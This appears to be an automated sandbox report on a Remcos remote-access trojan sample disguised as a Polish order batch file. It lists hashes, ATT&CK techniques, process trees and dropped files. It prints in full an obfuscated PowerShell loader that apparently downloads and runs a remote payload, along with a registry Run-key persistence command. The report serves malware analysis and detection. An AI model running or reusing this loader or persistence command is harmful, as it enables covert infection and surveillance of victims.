remcos | ab3664826fd52fb8a96e93195e6ec7be1eeade44a1449781c19762f7d75e03ef

General

Target

Agotech Zamówienie Fjeldkammes3255452355623.bat
Size

5KB
MD5

e02abcc5bd232cd46f3d8a1912495918
SHA1

3ec09ab91cbfa9f7096fa747140993aab5db34c7
SHA256

f3e046a7769b9c977053dd32ebc1b0e1bbfe3c61789d2b8d54e51083c3d0bed5
SHA512

0e9225a1ebba97d8285dcd0898130e643c04dde0a8d14cc9174725c5e499858f30dad328c3a9f7e1a603a9289d93e423d07c3781e79d9cbda17165bfd3653588
SSDEEP

96:Hmm6vbLh3FiLig/kNfHAtg2+ul0mEI+fUe0KscOaENGvln40kg6FbBngs:TQHh3FuufNul0e+f4KsNwO06vngs

Score

10^/10

remcos discovery execution persistence rat

Malware Config

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2148	powershell.exe
7	2736	msiexec.exe
9	2736	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2148	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\Honduranske = "%Stickpins% -windowstyle 1 $Stipendiers=(gp -Path 'HKCU:\\Software\\approksimative\\').Bistandssekretariaterne;%Stickpins% ($Stipendiers)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2736	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2892	powershell.exe
2736	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2892	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1756	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2148	powershell.exe
2892	powershell.exe
2892	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2148	2380	cmd.exe	31
PID 2380 wrote to memory of 2148	2380	cmd.exe	31
PID 2380 wrote to memory of 2148	2380	cmd.exe	31
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2892 wrote to memory of 2736	2892	powershell.exe	37
PID 2736 wrote to memory of 2292	2736	msiexec.exe	38
PID 2736 wrote to memory of 2292	2736	msiexec.exe	38
PID 2736 wrote to memory of 2292	2736	msiexec.exe	38
PID 2736 wrote to memory of 2292	2736	msiexec.exe	38
PID 2292 wrote to memory of 1756	2292	cmd.exe	40
PID 2292 wrote to memory of 1756	2292	cmd.exe	40
PID 2292 wrote to memory of 1756	2292	cmd.exe	40
PID 2292 wrote to memory of 1756	2292	cmd.exe	40

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Agotech Zamówienie Fjeldkammes3255452355623.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#paraffin Gyrocompasses Socratize #>;$Unmoaning='Systemprdikatnavnet';<#Cementer Smokepot Extortioners #>;$Slushesntercalare=$Snnekoner+$host.UI; function lectured($Tillysningernes204){If ($Slushesntercalare) {$Aerugo++;}$Choanocyte=$Copywriting+$Tillysningernes204.'Length'-$Aerugo; for( $Slushes=4;$Slushes -lt $Choanocyte;$Slushes+=5){$Stikordsforms=$Slushes;$Pyramidologist+=$Tillysningernes204[$Slushes];$Honnrmarchers216='Conte244';}$Pyramidologist;}function Tremmens194($Pashadom97){ . ($Svveflyenes) ($Pashadom97);}$Antimakassarenes=lectured 'LardMUrbao .onzKartiPro.lCocklPicraAve./Opri ';$Antimakassarenes+=lectured 'Inds5Supe.de,o0 ksp Pla(TracWRendiSclen.tcodSmedoShamwKo.ls Ace TribN ParTshu Emir1Nick0 eru.Gent0 Usu;Knob TaoiWH rsiAtavn Hel6Ambi4Milj;Ceil FlotxPri 6Over4haan; nos kser Ga vLeu :Serm1Bun,3 Ret1 Cor.Sepu0Rest)Meta ge G bldeSla,cunprkPartoBact/Guip2 V d0St i1 Gen0 le0S.in1Prof0Ayn,1Vurd SomaFCnidiSeksrFeteeGorafHoldoKo.txAf e/Blac1Br s3Scal1 Bes. Sa,0Koa, ';$miniguides=lectured 'I siuTr,as,oceeLum RTaks-.ngea D.bGAmmoeH,ppnWagntOvis ';$Afvindendes=lectured 'BnkehAfsttun etD ejpTalesT.ac:Opst/Marg/Na.opLev,l AfiiHei eLegilPerstSensdP gs.R gotParkoNonspFuth/ ApoHBehevdineiAc ndregieSingnTa,ksConu.Demup .mtf.avnb oms ';$Bocstaff=lectured 'Dobb>N.dl ';$Svveflyenes=lectured 'BillIUn ee VarxOblu ';$Andekd='Renationalize';$Superintensity='\Located.ger';Tremmens194 (lectured 'P yl$Pri gaffrL flaoLivsBS geATornl Svu: etaRPechASlikTHumafPl.kicopenUnseKAn,rSCyk,=Gitr$LufteFolkNp,ojVSpel:Be.jABardPEr dpUndedMis.AF getStocAReti+Best$anesSTil UBanaPAmanEBoomrTraciNo sN Imbt A oESpern GraSudpaIReklTStjkyPel. ');Tremmens194 (lectured 'Unab$,imogLeucL etOPiloBAccuaj urL.vin:Unnoc OveYOkkuASyrinLnenoLgeuPGlauA HikTD lfHbi,lYKont=Mosk$ ntATilsfQuirVKommIAlsanStild CriEMelen WarDBubbeD hysRadb.GebySMa dpInwal,rasIBo.ltSacc(Noti$timeBRemoOKur.cHelesZ ppt.ualARan FActiFReat)Mag. ');Tremmens194 (lectured 'F,nd[Ho.nn,nape Ma T.geb. AbrSDecieTheoRPyravAlceIHelacSvveEM trPBitroPrinIIndtnUb,vtJorlmRettAstatNLig AStadGU deeForhr Uno]Undr:Solv:KaerS CyseP,vecS.reu FjeRBevgiAksiTOu,sY M npMuserM luOChicTPrecoPinscPedaOO,skLWin Unex=Reno G,up[AbdiNB rbEJordt un,.StonsOp,aEAla cinteURykkr elliK.rtt,atiy.odip RevrJammo arzTRaffo,tjec reuoWax,lT ntTDyr YTermpUndeeDimi]Leas: oug:Uds.tmimoLN,llsFift1.jen2,res ');$Afvindendes=$cyanopathy[0];$Gastrozooid=(lectured 'prio$BetiGArbeLHaviOPakkB Pi AGo gLFest: Gy,a Bj,PMooteCellRSvipI istTBerli.undVExc ELeve=W diNDecoe eacwReac-UnanOIndfBFianjKostE baC jovt No. Br Sops,yBev Senhet KupeKorrmArbe.BrumNTi.eETappTsuge. B lWDetoETin BTherC couLYor I t,aERegiNNyort .ro ');Tremmens194 ($Gastrozooid);Tremmens194 (lectured 'Fort$,aliAGonyp b,eeUnobr h.miVarmt PuliP.ntvParceCh u.Re kH etyeRamlaCremd ForeLiv.r Ku,sDor.[Outb$ antm ptaiSphinDokti Ap gmerou SeliKlogd.enneOrp s t t]Ra f=late$UnscA iljnUnbetMarkiKapim FraaNod.kKulda Pods,ldssLegaaS,vnr SufeGrafnDor eMiljsPseu ');$Zabian=lectured ',jle$UnphAToatp ,ateUtryr F.siMacatSulfi Konvavnbe Cha.TrooD RoloPa awNonan trilBoa.oR gsajonedInveFSm,liO tplRepaeChic(Rg e$Cam AGam f AkkvForniSi,dnAce.dCailebal.nCoyedMente UngsFiln,Ordr$ AdoMUn oiPloet latOp te orasl bs)trom ';$Mittes=$Ratfinks;Tremmens194 (lectured 'B ho$ HjeG rftl Pa.OForhBMu dACon,l Pi,:Oktab ,aaeGlass.oisnBothAKontkStanKPengeHoveT t o=nign(CommTSkifESaxoSBlteT Kal-DesppMollABgerTFadehNijh Diso$bo vM Sv.IArietGigaTperfE DecsSext)Flag ');while (!$Besnakket) {Tremmens194 (lectured ' ele$G ffgLumslOzonoUnwabPoloaKul lBod :cle N fmnoBaalnRaffs RepySiphnEffatPersoKr mnHalfi PrecSiria,ondlSpri=G or$ E.stKro,rD keuEph eAge, ') ;Tremmens194 $Zabian;Tremmens194 (lectured 'UpleSR tctShoeACrakr kakTKort- GhosDataLP lmeCiviE Ultp es Rei 4Pre ');Tremmens194 (lectured 'I df$CowbgEngoL ookonashbDmveaSt.nL Try:IndfB,refeoliesR,inN estAForkKF.rsKTempE.oratOuta=vell(A alTBa,ae licSGalat Dis- vspUntaAU.foT.pejhB.rd Ned$TranMU poikalkT FortSlape Ls.sRull) For ') ;Tremmens194 (lectured 'Tur.$bombg h,nL IntOP etB bouA BoulDeta:Out C Fl,acytocAlkyTMonoiVeneFAfsto,ykmR Fa MNune= ant$ esogTrieLJordoS,ppB kvaABriclPe,b:OmrepFrsto TriSTeleTU.gaeRuti+ Smi+ kke% Ple$D.maCk,afy manaCiv,nAralOKorrpDupeaApplt UnshClutY ili. Kamc inaoForlUCertNByggTDew. ') ;$Afvindendes=$cyanopathy[$Cactiform];}$Splittergalt=325222;$Naunt=30948;Tremmens194 (lectured 'Trun$TirsGJordLLoefoWindbklorA A tLTegn:EnsuF NonoPhacRek.ebF naASphanStraDUn,ee inkRFami Sty,= Bes KrftGSystEfundt ols- iduc Te OBoarnUndetTilsEB sonProgtThi I,pr$SlotmS.ptiIdemTNonmt StuEEmanS alf ');Tremmens194 (lectured 'Kryd$SpirgDe rl .mbo OvebSeilaBennlVind:S.olsAgascnoncu Ovet,ryseHomelI,onlP ojaPrectSandipropo Prenpseu Abso= .ab Dagl[Psi.SB acyEra sOvert Ince ,umm Jan. rapCHikko tornNo ov UnbeStrerAmintT.ia]Veri:Poi.: an Fuforr Un ogreem JawB arcaEuxasPtyseMon 6Rebo4 eksSAbe tHarbrOecuiHexanLichgSini(Niec$GjorF ofno WhirFungb Rena T rndobbdBe ke FinrDerm)Cona ');Tremmens194 (lectured ' rne$BispgCyniL AgroForsbSimpAS eclOrga:PolyCSlidaRekvrSknhaFounMLandEAntiLCh,ri Te NCath ins =Squs Kau[ .noSMusiYTreeSAnmet uriEGrunmAkv .no.iT OveETal XSamstcomp.An ieExtrNGeneCepinOH,drdforbi RecNSh pg Fe,]Bge :Anur:LetaA Na sMaadCP eti,avnI Inn.Ove GNat E nobTHonoSDr.pTSeamR Me,IInf,NRit.GReck(.dvi$K imsTaancPaniUMe.atBaadeDistL TilLSkruaFlletMuleiParfO K.tnInt )Q is ');Tremmens194 (lectured 'F rf$SkabGUl kl PotOPerlBsemiA StjlOver:Par sHelsOPrecV StaSPromEAls,SFootKfiskaforvaRid lGl be L.ms aer=Afs,$StatCNamaA Depr EupASe iMUne,EWittlUnvnic asn .eg.ScensTripUassiB FluSZ,rrTTrstRVgt,I ostnPo.tgJump(Silk$SiseSBed.PMod.lUdbyiFru.tBioeTSmreE nreRIlloGReduADagsLUnpet Spi,,til$Be,uNCiaraStriuBorsNTeasTDepa) rav ');Tremmens194 $Sovseskaales;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#paraffin Gyrocompasses Socratize #>;$Unmoaning='Systemprdikatnavnet';<#Cementer Smokepot Extortioners #>;$Slushesntercalare=$Snnekoner+$host.UI; function lectured($Tillysningernes204){If ($Slushesntercalare) {$Aerugo++;}$Choanocyte=$Copywriting+$Tillysningernes204.'Length'-$Aerugo; for( $Slushes=4;$Slushes -lt $Choanocyte;$Slushes+=5){$Stikordsforms=$Slushes;$Pyramidologist+=$Tillysningernes204[$Slushes];$Honnrmarchers216='Conte244';}$Pyramidologist;}function Tremmens194($Pashadom97){ . ($Svveflyenes) ($Pashadom97);}$Antimakassarenes=lectured 'LardMUrbao .onzKartiPro.lCocklPicraAve./Opri ';$Antimakassarenes+=lectured 'Inds5Supe.de,o0 ksp Pla(TracWRendiSclen.tcodSmedoShamwKo.ls Ace TribN ParTshu Emir1Nick0 eru.Gent0 Usu;Knob TaoiWH rsiAtavn Hel6Ambi4Milj;Ceil FlotxPri 6Over4haan; nos kser Ga vLeu :Serm1Bun,3 Ret1 Cor.Sepu0Rest)Meta ge G bldeSla,cunprkPartoBact/Guip2 V d0St i1 Gen0 le0S.in1Prof0Ayn,1Vurd SomaFCnidiSeksrFeteeGorafHoldoKo.txAf e/Blac1Br s3Scal1 Bes. Sa,0Koa, ';$miniguides=lectured 'I siuTr,as,oceeLum RTaks-.ngea D.bGAmmoeH,ppnWagntOvis ';$Afvindendes=lectured 'BnkehAfsttun etD ejpTalesT.ac:Opst/Marg/Na.opLev,l AfiiHei eLegilPerstSensdP gs.R gotParkoNonspFuth/ ApoHBehevdineiAc ndregieSingnTa,ksConu.Demup .mtf.avnb oms ';$Bocstaff=lectured 'Dobb>N.dl ';$Svveflyenes=lectured 'BillIUn ee VarxOblu ';$Andekd='Renationalize';$Superintensity='\Located.ger';Tremmens194 (lectured 'P yl$Pri gaffrL flaoLivsBS geATornl Svu: etaRPechASlikTHumafPl.kicopenUnseKAn,rSCyk,=Gitr$LufteFolkNp,ojVSpel:Be.jABardPEr dpUndedMis.AF getStocAReti+Best$anesSTil UBanaPAmanEBoomrTraciNo sN Imbt A oESpern GraSudpaIReklTStjkyPel. ');Tremmens194 (lectured 'Unab$,imogLeucL etOPiloBAccuaj urL.vin:Unnoc OveYOkkuASyrinLnenoLgeuPGlauA HikTD lfHbi,lYKont=Mosk$ ntATilsfQuirVKommIAlsanStild CriEMelen WarDBubbeD hysRadb.GebySMa dpInwal,rasIBo.ltSacc(Noti$timeBRemoOKur.cHelesZ ppt.ualARan FActiFReat)Mag. ');Tremmens194 (lectured 'F,nd[Ho.nn,nape Ma T.geb. AbrSDecieTheoRPyravAlceIHelacSvveEM trPBitroPrinIIndtnUb,vtJorlmRettAstatNLig AStadGU deeForhr Uno]Undr:Solv:KaerS CyseP,vecS.reu FjeRBevgiAksiTOu,sY M npMuserM luOChicTPrecoPinscPedaOO,skLWin Unex=Reno G,up[AbdiNB rbEJordt un,.StonsOp,aEAla cinteURykkr elliK.rtt,atiy.odip RevrJammo arzTRaffo,tjec reuoWax,lT ntTDyr YTermpUndeeDimi]Leas: oug:Uds.tmimoLN,llsFift1.jen2,res ');$Afvindendes=$cyanopathy[0];$Gastrozooid=(lectured 'prio$BetiGArbeLHaviOPakkB Pi AGo gLFest: Gy,a Bj,PMooteCellRSvipI istTBerli.undVExc ELeve=W diNDecoe eacwReac-UnanOIndfBFianjKostE baC jovt No. Br Sops,yBev Senhet KupeKorrmArbe.BrumNTi.eETappTsuge. B lWDetoETin BTherC couLYor I t,aERegiNNyort .ro ');Tremmens194 ($Gastrozooid);Tremmens194 (lectured 'Fort$,aliAGonyp b,eeUnobr h.miVarmt PuliP.ntvParceCh u.Re kH etyeRamlaCremd ForeLiv.r Ku,sDor.[Outb$ antm ptaiSphinDokti Ap gmerou SeliKlogd.enneOrp s t t]Ra f=late$UnscA iljnUnbetMarkiKapim FraaNod.kKulda Pods,ldssLegaaS,vnr SufeGrafnDor eMiljsPseu ');$Zabian=lectured ',jle$UnphAToatp ,ateUtryr F.siMacatSulfi Konvavnbe Cha.TrooD RoloPa awNonan trilBoa.oR gsajonedInveFSm,liO tplRepaeChic(Rg e$Cam AGam f AkkvForniSi,dnAce.dCailebal.nCoyedMente UngsFiln,Ordr$ AdoMUn oiPloet latOp te orasl bs)trom ';$Mittes=$Ratfinks;Tremmens194 (lectured 'B ho$ HjeG rftl Pa.OForhBMu dACon,l Pi,:Oktab ,aaeGlass.oisnBothAKontkStanKPengeHoveT t o=nign(CommTSkifESaxoSBlteT Kal-DesppMollABgerTFadehNijh Diso$bo vM Sv.IArietGigaTperfE DecsSext)Flag ');while (!$Besnakket) {Tremmens194 (lectured ' ele$G ffgLumslOzonoUnwabPoloaKul lBod :cle N fmnoBaalnRaffs RepySiphnEffatPersoKr mnHalfi PrecSiria,ondlSpri=G or$ E.stKro,rD keuEph eAge, ') ;Tremmens194 $Zabian;Tremmens194 (lectured 'UpleSR tctShoeACrakr kakTKort- GhosDataLP lmeCiviE Ultp es Rei 4Pre ');Tremmens194 (lectured 'I df$CowbgEngoL ookonashbDmveaSt.nL Try:IndfB,refeoliesR,inN estAForkKF.rsKTempE.oratOuta=vell(A alTBa,ae licSGalat Dis- vspUntaAU.foT.pejhB.rd Ned$TranMU poikalkT FortSlape Ls.sRull) For ') ;Tremmens194 (lectured 'Tur.$bombg h,nL IntOP etB bouA BoulDeta:Out C Fl,acytocAlkyTMonoiVeneFAfsto,ykmR Fa MNune= ant$ esogTrieLJordoS,ppB kvaABriclPe,b:OmrepFrsto TriSTeleTU.gaeRuti+ Smi+ kke% Ple$D.maCk,afy manaCiv,nAralOKorrpDupeaApplt UnshClutY ili. Kamc inaoForlUCertNByggTDew. ') ;$Afvindendes=$cyanopathy[$Cactiform];}$Splittergalt=325222;$Naunt=30948;Tremmens194 (lectured 'Trun$TirsGJordLLoefoWindbklorA A tLTegn:EnsuF NonoPhacRek.ebF naASphanStraDUn,ee inkRFami Sty,= Bes KrftGSystEfundt ols- iduc Te OBoarnUndetTilsEB sonProgtThi I,pr$SlotmS.ptiIdemTNonmt StuEEmanS alf ');Tremmens194 (lectured 'Kryd$SpirgDe rl .mbo OvebSeilaBennlVind:S.olsAgascnoncu Ovet,ryseHomelI,onlP ojaPrectSandipropo Prenpseu Abso= .ab Dagl[Psi.SB acyEra sOvert Ince ,umm Jan. rapCHikko tornNo ov UnbeStrerAmintT.ia]Veri:Poi.: an Fuforr Un ogreem JawB arcaEuxasPtyseMon 6Rebo4 eksSAbe tHarbrOecuiHexanLichgSini(Niec$GjorF ofno WhirFungb Rena T rndobbdBe ke FinrDerm)Cona ');Tremmens194 (lectured ' rne$BispgCyniL AgroForsbSimpAS eclOrga:PolyCSlidaRekvrSknhaFounMLandEAntiLCh,ri Te NCath ins =Squs Kau[ .noSMusiYTreeSAnmet uriEGrunmAkv .no.iT OveETal XSamstcomp.An ieExtrNGeneCepinOH,drdforbi RecNSh pg Fe,]Bge :Anur:LetaA Na sMaadCP eti,avnI Inn.Ove GNat E nobTHonoSDr.pTSeamR Me,IInf,NRit.GReck(.dvi$K imsTaancPaniUMe.atBaadeDistL TilLSkruaFlletMuleiParfO K.tnInt )Q is ');Tremmens194 (lectured 'F rf$SkabGUl kl PotOPerlBsemiA StjlOver:Par sHelsOPrecV StaSPromEAls,SFootKfiskaforvaRid lGl be L.ms aer=Afs,$StatCNamaA Depr EupASe iMUne,EWittlUnvnic asn .eg.ScensTripUassiB FluSZ,rrTTrstRVgt,I ostnPo.tgJump(Silk$SiseSBed.PMod.lUdbyiFru.tBioeTSmreE nreRIlloGReduADagsLUnpet Spi,,til$Be,uNCiaraStriuBorsNTeasTDepa) rav ');Tremmens194 $Sovseskaales;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Honduranske" /t REG_EXPAND_SZ /d "%Stickpins% -windowstyle 1 $Stipendiers=(gp -Path 'HKCU:\Software\approksimative\').Bistandssekretariaterne;%Stickpins% ($Stipendiers)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Honduranske" /t REG_EXPAND_SZ /d "%Stickpins% -windowstyle 1 $Stipendiers=(gp -Path 'HKCU:\Software\approksimative\').Bistandssekretariaterne;%Stickpins% ($Stipendiers)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Time Discovery

1

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Located.ger

Filesize
463KB

MD5
c925de72e631e4e17e9765837f4488b1

SHA1
911397f92bca13d53d23384e729cb76d94bff029

SHA256
7185f2fe31aa2ae1c1d77d243c8a4d320f76acde3dbf7cbef9e392510c2c14cf

SHA512
43021fa0241d9dda2520fa24c5679c6cefb0bad29685d109a3eb12caa97e2d33a5d91394b95aa3506b43b6609eccf2499a66d066e342b197ab9112d7fd605d4e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2XDRIH5KV8AINDRWYK0Z.temp

Filesize
7KB

MD5
4830725e7d3a19f0004aff70b5fc8799

SHA1
584657d0136d48881d90d511a1c8b621ccb20380

SHA256
010ebecfae0ba052a121c021ad093fbe2edfa123801dffa107ad82b64e95003f

SHA512
03977adf6be3b8bfc91a00621365b44d7989515598f0c6637385ff18c26f6df0c4cabfd7ed9b9d91a3d17c8c32ff65f8909ee12f55e69d2c877960a1d89450df

Download Submit
memory/2148-10-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2148-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2148-9-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-4-0x000007FEF5EAE000-0x000007FEF5EAF000-memory.dmp

Filesize
4KB

Download
memory/2148-11-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-13-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-14-0x000007FEF5EAE000-0x000007FEF5EAF000-memory.dmp

Filesize
4KB

Download
memory/2148-16-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-8-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-7-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-35-0x0000000000260000-0x00000000012C2000-memory.dmp

Filesize
16.4MB

Download
memory/2892-20-0x00000000067C0000-0x0000000007C47000-memory.dmp

Filesize
20.5MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads